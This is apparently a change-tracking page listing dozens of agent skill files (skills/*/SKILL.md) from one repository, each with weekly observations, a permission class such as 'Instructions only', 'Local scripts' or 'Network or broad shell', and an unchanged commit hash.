
Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/metamorphic-property-extractor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/metamorphic-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/mocking-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/model-guided-code-repair/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/modular-code-enforcement/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/module-component-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/module-level-code-translator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/multi-version-behavior-comparator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/mutation-test-suite-optimizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/nl-to-constraints/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/playwright-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/program-correctness-prover/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/program-to-model-extractor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/program-to-tlaplus-spec-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/proof-carrying-code-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/proof-failure-explainer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/proof-refactoring-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/proof-skeleton-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/proof-trace-summarizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/pseudocode-extractor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/pseudocode-to-java-code/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/pseudocode-to-python-code/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/python-api-consistency-validator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/python-regression-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/python-repo-quickstart/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/python-test-updater/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/python-to-dafny-translator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/python-to-lean4-translator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/readme-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/reference-searcher/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/refinement-step-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/regression-consistency-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/regression-root-cause-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/release-change-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/release-notes-writer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/replay-oriented-instrumentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/reproduction-trace-instrumenter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/req-to-test/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/requirement-comparison-reporter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/requirement-coverage-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/requirement-enhancer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/requirement-summarizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/requirement-summary/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/requirement-to-tlaplus-property-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/rollback-strategy-advisor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/rtl-equivalence-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/rtl-property-inference/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/rtl-specification-consistency-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/runtime-error-explainer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/scenario-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/security-patch-advisor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/security-sensitive-path-instrumenter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/semantic-bug-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/semantic-equivalence-verifier/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/semantic-szz-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/session-handoff/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/skill-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/smart-mutation-operator-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/smv-model-extractor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/specification-driven-generation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/specification-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/specification-to-temporal-logic-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/spring-mvc-to-boot-migrator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/state-snapshot-instrumenter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/static-bug-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/static-reasoning-verifier/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/static-vulnerability-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/strategic-planner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/symbolic-execution-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/system-diagram-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/szz-bug-identifier/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/tactic-suggestion-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/taint-instrumentation-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/technical-debt-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/template-code-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-case-documentation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-case-reducer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-deduplicator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-driven-generation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-guided-bug-detector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-guided-debloating/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-guided-migration-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-oracle-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/test-suite-prioritizer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/time-aware-dependency-cve-scanner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/tlaplus-guided-code-repair/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/tlaplus-model-reduction/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/tlaplus-spec-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/trace-collection-assistant/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/traceability-matrix-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/unit-test-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 4f38503747e0

No earlier version was observed for comparison.

Compare on GitHub

skills/verification-boundary-reporter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

4f38503747e0 → 4f38503747e0

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 4f38503747e0

